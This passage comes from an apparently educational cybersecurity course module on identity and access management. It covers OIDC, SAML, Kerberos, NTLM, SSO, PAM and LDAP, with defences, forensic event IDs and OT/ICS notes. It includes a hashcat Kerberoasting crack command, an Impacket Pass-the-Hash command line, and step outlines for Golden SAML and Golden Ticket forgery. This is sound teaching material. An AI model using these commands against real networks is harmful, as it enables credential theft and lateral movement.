#   "token_endpoint": "https://idp.corp.com/token",
#   "jwks_uri": "https://idp.corp.com/.well-known/jwks.json"
# }

# Fetching the actual public signing keys to verify ID token signatures
curl -s https://idp.corp.com/.well-known/jwks.json | jq .

8.5 Defensive Controls

Validate every claim — iss, aud, exp, nonce, signature — never trust just signature validity alone.
Rotate signing keys regularly and always fetch them live from jwks_uri, never hardcode a key.
Use the nonce parameter on every authorization request to prevent ID token replay.
Restrict which IdPs/issuers are trusted via an explicit allow-list — never accept "any valid JWT from anywhere."

8.6 Forensic Evidence

ID token validation failures (bad aud, expired exp, signature mismatch) should be logged and alerted distinctly from generic auth failures — a spike in aud mismatches across many requests suggests active token replay/confusion attack attempts against your relying party.

8.7 OT/ICS Perspective

OIDC underlies most modern cloud-based ICS/SCADA HMI access portals (vendors increasingly offer browser-based HMI access federated through OIDC). Validate that these portals enforce strict aud and iss checks — a misconfigured OT vendor portal accepting tokens broadly scoped to "any corporate user" rather than the specific OT-access group is a documented category of finding in OT security assessments.

Retain this: OIDC's ID token answers "who," OAuth's access token answers "what" — verifying only the token signature without checking iss/aud/nonce is equivalent to checking a passport's hologram but never reading the name on it.

9. SAML

9.1 First Principles

SAML (Security Assertion Markup Language) is an XML-based standard for exchanging authentication and authorization assertions between an Identity Provider (IdP) and a Service Provider (SP). It predates OAuth/OIDC and remains dominant in large enterprise SSO (Okta, Active Directory Federation Services / ADFS, PingFederate) because of its maturity and strong enterprise tooling support.

9.2 The SP-Initiated Flow

 User           Service Provider (SP)        Identity Provider (IdP)
  │                     │                            │
  │── access app ──────►│                             │
  │                     │── AuthnRequest (redirect) ─►│
  │◄─────────── redirected to IdP login ──────────────┤
  │── credentials ─────────────────────────────────────►│
  │                     │     IdP authenticates user   │
  │◄──── SAML Response (signed XML Assertion) ──────────┤
  │── POST assertion ──►│                             │
  │                     │  SP validates signature,     │
  │                     │  trusts assertion, logs in   │

9.3 Anatomy of a SAML Assertion (Simplified)

<saml:Assertion ID="_a1b2c3" IssueInstant="2026-06-28T10:00:00Z">
  <saml:Issuer>https://idp.corp.com</saml:Issuer>
  <saml:Subject>
    <saml:NameID>jdoe@corp.com</saml:NameID>
  </saml:Subject>
  <saml:Conditions NotBefore="..." NotOnOrAfter="...">
    <saml:AudienceRestriction>
      <saml:Audience>https://app.example.com</saml:Audience>
    </saml:AudienceRestriction>
  </saml:Conditions>
  <ds:Signature>...</ds:Signature> <!-- XML digital signature -->
</saml:Assertion>

9.4 Golden SAML — The Most Important Attack in This Section

Golden SAML is to SAML what Golden Ticket (Section 10) is to Kerberos. If an attacker compromises the IdP's private signing key/certificate (e.g., the ADFS token-signing certificate), they can forge arbitrary SAML assertions offline, impersonating any user, with any attributes, for any service provider, without ever touching the real IdP, leaving no IdP-side authentication log.

This is exactly what investigators concluded happened in the SolarWinds/Sunburst breach (2020): APT29 (Cozy Bear) extracted ADFS signing material from compromised environments and minted forged SAML tokens to access Microsoft 365 and other federated cloud services as any user they chose — entirely bypassing MFA, because MFA had already been satisfied "upstream" in the forged assertion's trust chain.

# Conceptual structure of a Golden SAML forgery (illustrative, not exploit code):
# 1. Attacker extracts the IdP's private signing certificate (e.g. from
#    AD FS server's certificate store or DKM container in AD)
# 2. Attacker crafts an arbitrary SAML assertion XML naming any user/claims
# 3. Attacker signs that XML with the stolen private key
# 4. Attacker submits the forged, validly-signed assertion directly to the SP
# 5. SP validates signature against the IdP's known public cert --> SUCCEEDS
#    because the signature IS cryptographically valid, just illegitimately produced

9.5 XML-Specific Attack Classes

XML Signature Wrapping (XSW) — exploiting parsers that validate the signature against one part of the XML document tree but then process a different, attacker-modified part, effectively smuggling forged claims past a technically-valid signature.
XXE (XML External Entity) injection — if the SP's XML parser resolves external entities, an attacker can exfiltrate local files or trigger SSRF via a crafted assertion.

9.6 Defensive Controls

Protect the IdP signing key like a root CA private key — hardware security module (HSM) storage, strict access control, key rotation, and dedicated monitoring of the certificate store/DKM container.
Always validate AudienceRestriction, NotBefore/NotOnOrAfter, and the assertion's Issuer — never accept an otherwise-valid-signature assertion outside its intended audience or time window.
Use schema-validating, hardened XML parsers that disable external entity resolution by default.
Monitor for IdP signing certificate export/access events (e.g., Windows Event ID 4662 against the ADFS DKM container) as a critical, rare, high-fidelity alert.

9.7 Forensic Evidence

The chilling property of Golden SAML is that forged assertions generate no corresponding authentication event at the real IdP — your hunting target shifts to the Service Provider's logs: an assertion accepted with no matching upstream IdP sign-in event is the core indicator. Also monitor for anomalous NotOnOrAfter windows far outside policy norms, suggesting a hand-crafted (not naturally issued) assertion.

9.8 OT/ICS Perspective

Large industrial operators frequently federate OT vendor support portals and engineering-cloud platforms through the same corporate ADFS/SAML IdP used for everything else. A Golden SAML compromise at the corporate IdP therefore can directly cascade into OT-adjacent vendor platforms — this is a strong architectural argument for a separate, isolated IdP trust boundary for anything touching OT vendor federation, rather than a single flat corporate-wide IdP trust.

Retain this: A valid cryptographic signature proves the assertion was signed by the holder of that key — it proves nothing about whether that signing event was legitimate. Protecting the signing key is more important than any single control downstream of it.

10. Kerberos

10.1 First Principles

Kerberos is a ticket-based authentication protocol built on symmetric cryptography and a trusted third party (the Key Distribution Center, KDC). Its core innovation: a user proves their identity once and receives a ticket usable to access multiple services without re-sending their password, and without the service itself ever learning the password.

10.2 The Three Heads of Kerberos (named for Cerberus, the three-headed guard dog)

   Client            KDC: Authentication       KDC: Ticket Granting
                      Server (AS)                Service (TGS)
     │                     │                          │
     │── AS-REQ (user) ───►│                           │
     │◄── AS-REP (TGT) ────┤                           │
     │                     │                           │
     │── TGS-REQ (TGT, target service) ───────────────►│
     │◄── TGS-REP (Service Ticket) ─────────────────────┤
     │                                                  │
     │── AP-REQ (Service Ticket) ──► Target Service     │
     │◄── AP-REP (mutual auth) ─────                    │

AS-REQ/AS-REP — client requests a Ticket Granting Ticket (TGT), encrypted with a key derived from the user's password hash (for the krbtgt-related secret) — this is the initial authentication.
TGT — proves "this user authenticated successfully" without needing to re-prove the password for every subsequent request, typically valid ~10 hours by default in AD environments.
TGS-REQ/TGS-REP — client presents the TGT to request a Service Ticket for a specific resource (e.g., a file server), encrypted with that service's own secret key, derived from the service account's password hash.
AP-REQ — client presents the Service Ticket directly to the target service, which decrypts it with its own key and grants access — the service never talks to the KDC directly per request and never sees the user's password.

10.3 Golden Ticket Attack

If an attacker compromises the krbtgt account's password hash (the domain-wide secret used to encrypt all TGTs), they can forge a TGT for any user, including non-existent users, with any group membership, with any lifetime — entirely offline, without contacting a Domain Controller at forgery time. This is complete and unrecoverable domain authentication compromise unless the krbtgt password is reset (twice, due to password-history-based ticket validity).

# Conceptual flow (Mimikatz-style tooling, real technique, name only — not
# operational exploit code):
1. Attacker achieves Domain Admin (or DCSync rights) once.
2. Attacker extracts the krbtgt account's NTLM hash via DCSync
   (replicating AD secrets through legitimate replication APIs, abused).
3. Attacker forges a TGT offline using that hash for arbitrary identity/groups.
4. Forged TGT is accepted by any DC indefinitely, until krbtgt is rotated.

10.4 Silver Ticket Attack

Similar concept, but scoped to a single service — the attacker only needs that service account's password hash (not krbtgt), and forges a Service Ticket directly, bypassing the TGS step entirely. Narrower blast radius than Golden Ticket, but harder to detect because it never touches the KDC at all — TGS-REQ/TGS-REP events simply never occur.

10.5 Kerberoasting

Any authenticated domain user can request a Service Ticket for ANY
service principal in the domain — that's by design, not a bug.

Attacker requests Service Tickets for accounts with SPNs set
(commonly service accounts running databases, web apps, etc.)
   │
   ▼
Service Ticket is encrypted with the SERVICE ACCOUNT's password hash
   │
   ▼
Attacker takes that ticket OFFLINE and brute-forces it with hashcat —
no further domain interaction needed, no lockout risk, no further alerts

# Hashcat mode for Kerberos 5 TGS-REP etype 23 (RC4) — the classic
# Kerberoasting crack target, because RC4-encrypted tickets are crackable
# at high speed if the service account's password is weak
hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt
# -m 13100 : Kerberos 5 TGS-REP etype 23
# -a 0     : dictionary attack mode

This is precisely why service account password strength matters disproportionately — these accounts are frequently set once at deployment, never rotated, and often massively over-privileged.

10.6 Pass-the-Ticket

Stealing a valid TGT or Service Ticket directly from memory (e.g., via Mimikatz's sekurlsa::tickets) and injecting it into a different session/host to impersonate the victim without ever knowing their password — the ticket itself is the credential.

10.7 Defensive Controls

Rotate the krbtgt password twice, on a recurring schedule and immediately after any suspected Domain Admin compromise (rotating only once leaves the previous password's tickets valid through password history).
Enforce long, random passwords on service accounts (25+ characters) specifically to defeat Kerberoasting — or migrate to Group Managed Service Accounts (gMSA), whose passwords are automatically rotated and never human-known.
Monitor for abnormal TGS-REQ volume from a single account in a short window (Event ID 4769 with ticket encryption type RC4 specifically is a strong Kerberoasting signal — AES-encrypted tickets are far more crack-resistant, so legacy RC4 use is itself a red flag).
Restrict and monitor DCSync rights (Replicating Directory Changes / Replicating Directory Changes All) — only Domain Controllers and explicitly authorized accounts should ever hold these.
Enable Protected Users group and Credential Guard to prevent ticket/credential extraction from memory on modern Windows.

10.8 Forensic Evidence

Event ID 4768 (TGT requested), 4769 (Service Ticket requested), 4770 (Service Ticket renewed) on Domain Controllers.
Golden Ticket indicator: a TGT with a lifetime far exceeding domain policy, or referencing a user that no longer exists / was deleted.
Kerberoasting indicator: a single account generating many 4769 events with RC4 encryption (etype 0x17) across many different SPNs in a short period.

10.9 OT/ICS Perspective

OT environments running Windows-based SCADA/HMI servers joined to a corporate Active Directory domain inherit every one of these Kerberos risks directly. A Kerberoasted service account tied to a SCADA application server can grant an attacker a foothold that bridges IT compromise straight into OT supervisory control — this is a documented lateral-movement pattern in ICS incident response case studies (e.g., patterns described in ICS-CERT/CISA advisories following ransomware intrusions into hybrid IT/OT Windows domains). Where feasible, OT-tier Windows servers should join a separate, isolated forest/domain rather than the corporate forest, specifically to contain Kerberos-based lateral movement.

Retain this: Kerberos tickets, not passwords, are the actual currency of post-compromise lateral movement in Windows domains — defending the krbtgt secret and service account hygiene matters more than any single password policy.

11. NTLM

11.1 First Principles

NTLM (NT LAN Manager) is Microsoft's legacy challenge-response authentication protocol, predating Kerberos in Windows environments and still present today for backward compatibility, workgroup (non-domain) authentication, and certain legacy application support.

11.2 The Challenge-Response Flow

Client                              Server
  │── NEGOTIATE_MESSAGE ────────────►│
  │◄── CHALLENGE_MESSAGE (nonce) ────┤
  │── AUTHENTICATE_MESSAGE ─────────►│
  │   (response = HMAC of nonce      │
  │    using NTLM hash of password)  │
  │                                  │  Server validates response
  │                                  │  against its own copy of the
  │                                  │  NTLM hash (or relays to a DC)

Crucially, the NTLM hash itself (MD4 of the password, no salt) is the long-term secret — and because it's used directly in the HMAC computation, possessing the hash is functionally equivalent to possessing the password for authentication purposes. You never need to crack it.

11.3 Pass-the-Hash

# Conceptual technique only — Pass-the-Hash means authenticating using a
# captured NTLM hash directly, with NO password cracking required:
#
# 1. Attacker dumps LSASS memory or SAM/NTDS.dit, obtains NTLM hash
# 2. Attacker uses that raw hash directly in an NTLM authentication exchange
#    (e.g., via tools like Impacket's psexec.py / wmiexec.py using -hashes)
python3 wmiexec.py -hashes :NTLM_HASH_HERE administrator@10.0.0.5
# -hashes <LM:NTLM>  : supplies the captured hash directly, bypassing
#                       any need to ever know or crack the plaintext password

This is one of the single most consequential techniques in Windows lateral movement, because local administrator password reuse across many machines (extremely common in unmanaged enterprise fleets) turns ONE compromised endpoint into domain-wide reach.

11.4 NTLM Relay

Attacker positions as a man-in-the-middle (e.g. via LLMNR/NBT-NS spoofing
with Responder, or a malicious SMB/HTTP server):

 Victim Client          Attacker (relay)          Target Server
     │── auth attempt ───────►│                          │
     │                        │── relays the SAME ──────►│
     │                        │   challenge-response      │
     │                        │   to a DIFFERENT server   │
     │                        │◄── target authenticates ──┤
     │                        │    the relayed session AS │
     │                        │    the victim, NO hash     │
     │                        │    cracking needed          │

This is the mechanism behind tools like Responder (LLMNR/NBT-NS/MDNS poisoning to harvest or relay NTLM auth attempts) and ntlmrelayx (Impacket) — and it was a primary lateral-movement vector during NotPetya (2017), where stolen credentials and NTLM-based authentication allowed the worm to self-propagate across Maersk's and Merck's networks at devastating speed, in part because SMB signing was not enforced on many internal hosts, allowing relay attacks to succeed.

11.5 Why NTLM Is Fundamentally Weaker Than Kerberos

Property	NTLM	Kerberos
Mutual authentication	No (client can't verify server)	Yes
Relay resistance	Weak (no built-in channel binding by default)	Strong (ticket bound to specific service)
Hash reuse across machines	Catastrophic if local admin reused	Per-service ticket secrets
Delegation model	Crude / risky	Constrained delegation supported

11.6 Defensive Controls

Disable NTLM entirely where possible; at minimum, enforce NTLMv2 only (never LM or NTLMv1) via Group Policy.
Enforce SMB Signing domain-wide — this is the single most impactful control against NTLM relay, as it cryptographically binds each SMB message and breaks naive relay.
Enforce LDAP signing and channel binding to prevent LDAP relay (a related, equally damaging relay target).
Eliminate local administrator password reuse across endpoints — use LAPS (Local Administrator Password Solution) to randomize and rotate local admin passwords per-machine automatically.
Disable LLMNR and NBT-NS broadcast name resolution where not operationally required, removing Responder's primary poisoning surface.

11.7 Forensic Evidence

Event ID 4624 (logon) with Logon Type 3 (network) and Authentication Package: NTLM at unexpected volume or from unexpected source hosts.
A single source host authenticating as many distinct user accounts in rapid succession — strong Pass-the-Hash/credential-spray indicator.
Unusual LLMNR/NBT-NS broadcast traffic spikes on the wire — Responder activity signature, visible in network capture/IDS.

11.8 OT/ICS Perspective

Many legacy OT Windows systems (Windows XP/7-era HMI software still in production due to vendor certification lock-in) cannot be upgraded away from NTLM and often cannot even support SMB signing without breaking vendor-certified application compatibility. This is a textbook case of accepting a known protocol weakness and compensating architecturally: isolate these legacy NTLM-dependent hosts on a dedicated, tightly firewalled VLAN with no direct reachability from general IT, and route any necessary IT-to-OT administrative access exclusively through a PAM jump host (Section 13) rather than direct NTLM-authenticated access.

Retain this: NTLM's design flaw isn't weak cryptography per se — it's the absence of mutual authentication and channel binding, which is precisely what makes relay attacks possible. SMB/LDAP signing is the cheapest, highest-impact mitigation in any Windows environment still running NTLM.

12. Single Sign-On (SSO)

12.1 First Principles

SSO lets a user authenticate once to a central Identity Provider and gain access to multiple independent applications without re-authenticating to each. Every protocol covered so far — SAML, OIDC, Kerberos — is a mechanism by which SSO is technically implemented; SSO itself is the architectural pattern, not a protocol.

12.2 The Security Trade-off, Stated Plainly

            BENEFIT                          RISK
   ───────────────────────         ──────────────────────────
   Fewer passwords to manage        ONE compromised IdP account
   Centralized MFA enforcement      = access to EVERY connected
   Centralized audit trail          application simultaneously
   Faster offboarding (one          ("keys to the kingdom" problem)
   disable = all access revoked)

This is not a reason to avoid SSO — fragmented, non-SSO environments are empirically worse (more password reuse, inconsistent MFA, slower offboarding leaving orphaned accounts). It is a reason to invest disproportionately in protecting the IdP itself.

12.3 Architecture Pattern

                         ┌─────────────────┐
                         │  Identity        │
              ┌──────────│  Provider (IdP)  │──────────┐
              │          │  Okta/Azure AD/  │           │
              │          │  ADFS/Ping       │           │
              ▼          └─────────────────┘           ▼
      ┌──────────────┐                         ┌──────────────┐
      │  App A (SAML) │                         │  App B (OIDC) │
      └──────────────┘                         └──────────────┘

12.4 Real-World Failure: Cloud Identity Provider Compromise

The Okta breach (2022, via a third-party support engineer's compromised laptop) and the Okta source-code-repo breach (2023, customer support system compromised, session tokens for some customers exposed) are the canonical illustrations of the SSO concentration risk: when the IdP vendor itself is compromised, the blast radius extends to every downstream customer organization simultaneously.

12.5 Defensive Controls

Treat the IdP as your single highest-value asset — disproportionate monitoring, phishing-resistant MFA mandatory for all IdP admins, and a dedicated incident response runbook specifically for IdP compromise scenarios.
Implement conditional access policies (device compliance, geolocation, risk scoring) at the IdP layer, since this is now the single enforcement point for everything.
Maintain a documented emergency break-glass account outside normal SSO flow, with offline-stored credentials, for the scenario where the IdP itself is unavailable or compromised.
Regularly audit connected application consent grants at the IdP — orphaned, over-scoped, or unused application integrations are a common, overlooked attack surface.

12.6 Forensic Evidence

IdP admin-action logs (role/policy changes, new application registrations, signing certificate access) are your highest-priority log source in the entire identity stack — any anomaly here has organization-wide blast radius and should carry the highest alerting priority in your SIEM.

12.7 OT/ICS Perspective

Extending corporate SSO into OT-adjacent systems (engineering workstation logins, vendor support portals) is increasingly common for usability — but it directly imports the "one IdP compromise = total access" risk into the OT domain. The architectural answer used by mature OT security programs: a separate, dedicated OT-tier IdP (or at minimum a separate trust realm/forest) federated narrowly and explicitly to corporate SSO only for specific, audited use cases — never a flat, fully-trusted extension of the corporate IdP into OT.

Retain this: SSO doesn't eliminate identity risk — it concentrates it. Concentration is good only if you invest proportionally in protecting the single point you've created.

13. Privileged Access Management (PAM)

13.1 First Principles

PAM is the discipline and toolset for controlling, monitoring, and auditing access by accounts with elevated privilege — Domain Admins, root, database admins, network device admins, OT engineering accounts. The core insight: privileged accounts are disproportionately responsible for breach severity, even though they're a small minority of total accounts. Nearly every major breach's impact (not necessarily initial access) traces to privileged credential abuse.

13.2 Core PAM Capabilities

┌────────────────────────────────────────────────────────────────┐
│ 1. VAULTING        Privileged credentials stored encrypted,     │
│                     never known by the human user directly       │
│ 2. JUST-IN-TIME     Privilege granted temporarily, for a          │
│    ACCESS (JIT)     specific task, then automatically revoked     │
│ 3. SESSION          All privileged sessions proxied through a    │
│    BROKERING        jump host, recorded, and monitorable live    │
│ 4. CREDENTIAL       Privileged passwords auto-rotated after       │
│    ROTATION         every checkout/use, so a stolen credential    │
│                     is valid for only one session                │
│ 5. LEAST            Privilege scoped to the minimum necessary     │
│    PRIVILEGE        task, time window, and target system          │
└────────────────────────────────────────────────────────────────┘

13.3 The Standing Privilege Problem

TRADITIONAL MODEL:                    PAM/JIT MODEL:
Admin account is ALWAYS               Admin requests elevation for
privileged, 24/7, whether              a specific task --> approved
in use or not                          (manually or policy-based) -->
                                        privilege granted for a defined
ATTACK SURFACE: large,                 window (e.g. 1 hour) --> auto-
constant, always exploitable           revoked
                                       ATTACK SURFACE: small, time-
                                        boxed, requires active task

Standing privileged access is precisely what attackers seek post-initial-access: in nearly every domain-wide ransomware case, the time between initial foothold and Domain Admin acquisition is the critical window — and PAM's purpose is to make that acquisition either impossible (no standing privileged credentials to steal) or immediately detectable (every privileged session is recorded and alertable).

13.4 Architecture: The Privileged Access Workstation (PAW) + Jump Host Model

Administrator's          Privileged Access      Target Privileged
regular workstation      Workstation (PAW) /     System (DC, SCADA
(email, browsing,        Jump Host                server, etc.)
general use)              (hardened, no            
                          internet/email,
     │                    MFA-gated,
     │  NO DIRECT          session-recorded)
     │  PRIVILEGED              │
     │  ACCESS ─────X           │
                                  │── brokered, recorded,
                                     time-boxed session ──►

The principle: the workstation used for everyday email/browsing must never be the same workstation used for privileged administrative access — this single architectural separation defeats the single most common ransomware escalation pattern (phishing on the daily-use workstation leading directly to credential theft of an admin session active on the same machine).

13.5 PAM Tooling Landscape

CyberArk, BeyondTrust, Delinea (formerly Thycotic), HashiCorp Vault (secrets management, often complementary to full PAM suites), and native cloud equivalents (AWS IAM Roles + Session Manager, Azure PIM — Privileged Identity Management) all implement variations of the above capabilities. Azure PIM is a particularly instructive cloud-native example of JIT: roles like Global Administrator can be configured as eligible rather than active, requiring explicit, time-boxed, justification-logged activation per use.

# Example: Azure PIM CLI-style role activation request (illustrative)
az rest --method post \
  --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests" \
  --body '{
    "action": "selfActivate",
    "principalId": "<user-object-id>",
    "roleDefinitionId": "<role-id>",
    "directoryScopeId": "/",
    "justification": "Investigating ticket INC1234",
    "scheduleInfo": { "expiration": { "duration": "PT1H" } }
  }'
# duration": "PT1H"  -- ISO 8601 duration: this elevation expires
#                       automatically after exactly 1 hour

13.6 Detecting PAM Bypass / Misuse

Direct authentication to privileged accounts outside the PAM checkout workflow (i.e., a Domain Admin login event with no corresponding PAM vault checkout record) is one of the highest-fidelity indicators of either a PAM gap or active credential theft.
Session recording gaps (a privileged session with no corresponding video/keystroke log, due to misconfiguration or tampering) should themselves trigger an alert — an attacker disabling session recording before activity is a documented technique in mature intrusions.

13.7 Defensive Controls

Eliminate all standing/permanent privileged group memberships where JIT is feasible.
Enforce PAW separation — privileged sessions only from hardened, isolated jump hosts.
Auto-rotate every privileged credential after each checkout, regardless of whether misuse is suspected.
Record and retain all privileged sessions, with tamper-evident storage (write-once or hashed/chained logs) and a defined retention period meeting your compliance/forensic requirements.
Apply PAM principles to service accounts and API keys, not just human admins — non-human privileged identities are an increasingly dominant share of real-world privilege in modern environments and are routinely under-governed.

13.8 Forensic Evidence

Cross-reference PAM vault checkout/checkin logs against actual authentication events on target systems — any privileged authentication without a matching, time-adjacent vault checkout is your single most actionable PAM-layer detection rule, and should be a standing, always-on correlation rule in your SIEM.

13.9 OT/ICS Perspective — This Is the Most Important Subsection in the Module for This Specialization

PAM is arguably the single highest-leverage control for IT/OT boundary security, because it directly addresses the Colonial Pipeline pattern: a remote, standing credential with no MFA, no session recording, no time-boxing, bridging directly into OT-adjacent infrastructure.

RECOMMENDED OT PAM ARCHITECTURE:

   IT Network                  DMZ / PAM Layer              OT Network
  ┌──────────┐               ┌─────────────────┐          ┌───────────┐
  │ Vendor/   │               │  PAM Jump Host /  │          │  HMI /     │
  │ Engineer  │──MFA-gated──►│  Privileged       │──brokered│  SCADA /   │
  │ remote    │  request      │  Session Broker   │ recorded │  PLC       │
  │ access    │               │  (time-boxed,      │ session  │  engineer  │
  └──────────┘               │   credential        │─────────►│  station   │
                              │   vaulted, never     │          └───────────┘
                              │   known to user)      │
                              └─────────────────┘

Key OT-specific PAM design points:

Vendor remote access (the Colonial Pipeline-class scenario) must never terminate directly inside the OT network — it must terminate at a PAM-brokered jump host in a DMZ, with the OT-side credential never disclosed to the vendor, fully time-boxed to the maintenance window, and fully session-recorded.
Standing OT vendor VPN accounts, active 24/7/365 "just in case," are a documented recurring finding in ICS security assessments and represent exactly the standing-privilege risk PAM/JIT is designed to eliminate.
Session recording in OT must be configured to never interfere with real-time control-system performance or safety system response times — PAM brokering should be architected at the engineering-access layer (HMI/workstation access), never inline with control-loop communication (PLC-to-PLC, controller-to-I/O), where latency or a broker outage could itself create a safety hazard. Know this distinction precisely: PAM governs who can open an engineering session, not the deterministic control traffic underneath it.
Maintain documented break-glass procedures for emergency OT access scenarios where the PAM layer itself is unavailable (e.g., during a wide-scale IT outage) — OT operability must never be hostage to an IT identity system outage, but break-glass use must be logged and reviewed after every use without exception.

Retain this: Colonial Pipeline was not a sophisticated attack — it was one standing, MFA-less, unrotated VPN credential. PAM exists specifically to make that scenario architecturally impossible, and in OT environments, it is the single highest-return control you can implement at the IT/OT boundary.

14. The Missing Layer: Directory Services & Identity Federation Architecture

This subtopic is not in the original outline but is essential — every protocol above (Kerberos, NTLM, SAML, OIDC) ultimately reads from a directory: Active Directory, LDAP, Azure AD/Entra ID, or a cloud-native identity store. Understanding where identity actually lives is the connective layer the rest of this module assumes.

14.1 LDAP — The Underlying Data Layer

Active Directory is, at its data layer, an LDAP (Lightweight Directory Access Protocol) directory. Every user, group, computer, and policy object is an LDAP entry with a Distinguished Name (DN):

CN=John Doe,OU=Finance,DC=corp,DC=local

# Querying AD via LDAP from Linux — common in both legitimate admin work
# and attacker reconnaissance (this is exactly how tools like BloodHound
# pull their raw data)
ldapsearch -x -H ldap://dc01.corp.local \
  -D "CN=jdoe,OU=Finance,DC=corp,DC=local" -w 'password' \
  -b "DC=corp,DC=local" "(objectClass=user)" memberOf
# -x : simple authentication
# -H : target LDAP server
# -D : bind DN (the authenticating account)
# -b : search base (where in the directory tree to start)

LDAP injection and unauthenticated/anonymous LDAP bind misconfigurations remain a recurring finding category — anonymous bind allowing full directory enumeration is a critical, frequently overlooked exposure in legacy environments.

14.2 BloodHound — Why Directory Enumeration Matters Offensively and Defensively

BloodHound maps AD trust and permission relationships as a graph, revealing non-obvious attack paths (e.g., User A is in Group B, which has GenericAll rights over Group C, which is a member of Domain Admins) that no flat permission list would surface. Defensively, running BloodHound against your own environment is now considered standard practice — you cannot defend an attack path you don't know exists.

14.3 Trust Relationships and Their Risk

Forest A  ◄──── two-way trust ────►  Forest B

If Forest B is compromised, and the trust is improperly scoped
(not using SID filtering / selective authentication), an attacker
can potentially traverse INTO Forest A using forged or stolen
credentials/tickets that cross the trust boundary.

Retain this: Every authentication protocol in this module is a consumer of a directory service — securing the directory itself (LDAP hardening, trust scoping, anonymous bind elimination) is a prerequisite for every other control in this module to mean anything.

15. OT/ICS-Wide Identity Considerations

Consolidating the cross-cutting OT themes from every section above into explicit, standalone guidance:

Identity systems in OT must never become a single point of operational failure. A control-room operator must always be able to act during a safety event, even if the corporate identity stack is down. Design break-glass paths deliberately, not as an afterthought.
Vendor remote access is the dominant real-world OT initial-access vector (Colonial Pipeline being the most-cited example) — PAM-brokered, time-boxed, MFA-gated, never-standing access is the highest-leverage single investment in this entire module for OT environments.
Legacy protocol support (NTLM, weak Kerberos encryption types) often cannot be removed from OT due to vendor certification constraints — the correct response is network-layer and PAM-layer compensating control, not pretending the legacy protocol isn't there.
Separate identity trust boundaries between IT and OT (separate AD forest/domain, separate IdP realm) contain the blast radius of an IT-side identity compromise from automatically becoming an OT-side compromise — this single architectural decision determined the difference in outcome between organizations that contained Colonial-Pipeline-style intrusions to IT and those where it reached OT.
Physical and digital identity correlation matters in OT — badge/biometric access logs to a control room should be correlated with HMI/SCADA session logs during incident investigation; insider-threat and safety-incident investigations in industrial settings rely on this correlation routinely.

16. Module Summary Table

Concept	Core Function	Primary Offensive Technique	Primary Defensive Control	OT/ICS Note
Password Policies	Shared-secret proof of identity	Spraying, offline cracking	Length over complexity, breach-list screening, Argon2id storage	Avoid blind lockout policies on safety-critical HMI accounts
MFA	Second independent proof factor	Push fatigue, AiTM phishing, SIM swap	FIDO2/WebAuthn, number-matching push	Enforce MFA at IT/OT jump-host boundary, not inside OT itself
Biometrics	Trait-based identity proof	Spoofing/presentation attacks	Liveness detection, on-device template storage, second factor	Used for physical control-room access; correlate with session logs
Token-Based Auth	Bearer credential post-login	`alg:none`/algorithm confusion, token theft	Algorithm pinning, short lifetimes, httpOnly cookies	Scope and monitor OT-to-cloud telemetry tokens tightly
OAuth 2.0	Delegated authorization	Redirect URI manipulation, CSRF (missing `state`)	Exact redirect allow-listing, PKCE, least-privilege scope	Audit vendor OAuth app consent grants regularly
OpenID Connect	Identity layer atop OAuth	Missing `aud`/`iss` validation, ID token replay	Validate all claims, use `nonce`, pin trusted issuers	Validate cloud HMI portal token audience scoping
SAML	XML-based federated assertions	Golden SAML, XML Signature Wrapping	HSM-protect signing keys, validate audience/time window	Isolate OT-vendor federation from core corporate IdP trust
Kerberos	Ticket-based domain authentication	Golden/Silver Ticket, Kerberoasting, Pass-the-Ticket	krbtgt rotation, gMSA, monitor 4769/RC4 etype	Separate forest/domain for OT Windows servers
NTLM	Legacy challenge-response auth	Pass-the-Hash, NTLM Relay	SMB/LDAP signing, disable LLMNR/NBT-NS, LAPS	Compensate via network isolation for legacy OT hosts
SSO	Single authentication, multiple apps	IdP vendor compromise, consent grant abuse	Disproportionate IdP hardening, conditional access, break-glass account	Dedicated OT-tier IdP, narrowly federated
PAM	Controls/monitors privileged access	Standing credential theft, direct-to-privileged login	JIT access, session recording, credential rotation, PAW separation	Brokered, time-boxed vendor remote access; never inline with control traffic
Directory Services (LDAP/AD)	Underlying identity data store	LDAP injection, anonymous bind enumeration, BloodHound mapping	Disable anonymous bind, SID filtering on trusts, self-audit with BloodHound	Prerequisite hardening for every other OT identity control

17. Navigation

⬅ Previous: Module 2.2 — Network Security Fundamentals
➡ Next: Module 2.4 — Endpoint Security and Hardening

Bytewall Academy — Cybersecurity × OT/ICS Security Roadmap. This module is part of a continuously maintained open reference series. Contributions, corrections, and CVE updates are welcome via pull request.

Stage 2.2 — Cryptography Fundamentals

Rençber AKMAN — Tue, 16 Jun 2026 07:26:30 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 2 — Cybersecurity Core

Module: 2.2 — Cryptography Fundamentals

Level: Beginner → Advanced

Prerequisites: Stage 2.1 — Core Security Concepts

Next Module: 2.3 — Identity and Access Management

Why Cryptography Is the Bedrock of All Digital Security
What Is Encryption — First Principles
Encoding vs Encryption vs Hashing
Symmetric Encryption — AES, DES, 3DES, Blowfish
Asymmetric Encryption — RSA, ECC, Diffie-Hellman
Hash Functions — MD5, SHA-1, SHA-256, SHA-3
Salt and Pepper — Password Hashing
Digital Signatures
PKI — Public Key Infrastructure
SSL/TLS — How Secure Connections Work
TLS Handshake — Deep Dive
Cryptographic Randomness
Steganography
Cryptography in OT/ICS Environments
Module Summary

1. Why Cryptography Is the Bedrock of All Digital Security

Every security control that matters depends on cryptography. HTTPS exists because of TLS. Password storage is only safe because of hashing. Code signing, SSH, VPN, MFA apps, email signing, blockchain, digital certificates, secure boot — every one of these is cryptography applied to a specific problem. When cryptography breaks, everything built on it breaks simultaneously.

Concrete failures with massive real-world consequences:

MD5 Collision Attack → Rogue CA Certificate (2008): MD5 was known to be weak, but CAs still used it to sign certificates. Researchers at CWI Amsterdam and others demonstrated that MD5's collision vulnerability could be exploited to create a rogue Certificate Authority certificate indistinguishable from a legitimate one. Any HTTPS connection could be silently intercepted. The entire HTTPS trust system — protecting every bank, government, and healthcare site — was compromised by a 30-year-old hash function that nobody had bothered to replace.

RSA 512-bit factored → FREAK attack (CVE-2015-0204): "Export grade" cryptography mandated by 1990s US government regulations required weak RSA (512-bit) for exports. Attackers could factor 512-bit keys in hours using cloud computing and downgrade victims to export cipher suites. HTTPS connections to affected servers (including major banks and US government websites) could be decrypted.

